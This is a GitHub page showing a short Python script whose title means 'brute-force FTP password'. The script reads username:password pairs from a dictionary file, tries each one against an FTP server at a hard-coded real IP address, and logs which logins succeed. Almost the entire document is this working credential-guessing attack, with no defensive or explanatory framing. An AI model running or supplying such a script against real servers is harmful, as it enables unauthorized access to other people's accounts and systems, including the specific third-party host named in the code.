forked from crazy-piggy/WindowsApplets
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy path暴力破解FTP密码2.py
33 lines (32 loc) · 1022 Bytes
/
暴力破解FTP密码2.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/python
#coding:utf-8
import ftplib
import logging
import logging.config
filename=''
logging.config.fileConfig('./logconfig.ini')
__log = logging.getLogger('product')
def ftpconn(host,filename):
fp = open(filename,'r')
for line in fp.readlines():
__log.debug(line)
if not line.strip('\r').strip('\n'):
__log.debug("遍历完毕,脚本退出")
break;
loginname = line.split(':')[0]
loginpwd = line.split(':')[1].strip('\r').strip('\n')
try:
ftpconn = ftplib.FTP(host,timeout=2)
ftpconn.login(loginname, loginpwd)
__log.debug("%s login sucess",host)
ftpconn.quit()
#return True
except Exception as e:
__log.debug("login %s failed,name:%s,pwd:%s, ,error info %s",host,loginname,loginpwd,str(e))
#return False
def main():
global filename
filename = 'pwddict.txt'
ftpconn('166.111.174.33',filename)
if __name__ == '__main__':
main()